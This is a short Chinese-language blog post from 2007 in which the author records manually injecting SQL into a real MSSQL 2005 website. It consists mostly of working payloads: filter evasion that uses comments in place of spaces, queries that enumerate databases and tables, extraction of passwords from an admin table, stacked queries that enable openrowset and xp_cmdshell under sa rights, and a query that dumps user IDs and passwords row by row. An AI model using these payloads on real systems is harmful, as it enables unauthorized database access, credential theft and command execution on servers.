Posted on 2007-07-22 04:49
icerover 阅读(650)
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技术区
作者:rover
累死朕了，纯手工猜了个站..还是mssql2005..边找资料边爆..整理如下
/**/跟空格的作用一样，有的时候可以过一些过滤
爆库语句，修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))%2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))%3d0--爆表语句,somedb部份是所要列的数据库，红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type%3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)%3d0-- 爆字段语句，爆表admin里user='icerover'的密码段
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))%2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)%3d0-- mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
开启openrowset
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;-- 开启xp_cmdshell
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;-- 连续爆字段（nvarchar改成max就可以了,修改top可依次爆下去）
id=1
And (Select Top 1 isNull(cast([U_Id] as nvarchar(max)),char(32))+char(124)+isNull(cast([pw] as nvarchar(max)),char(32)) From (Select Top 1 [U_Id],[pw] From [testdb]..[member] Where 1=1 Order by [U_Id]) T Order by [U_Id] Desc)>0ok,over~~晚安～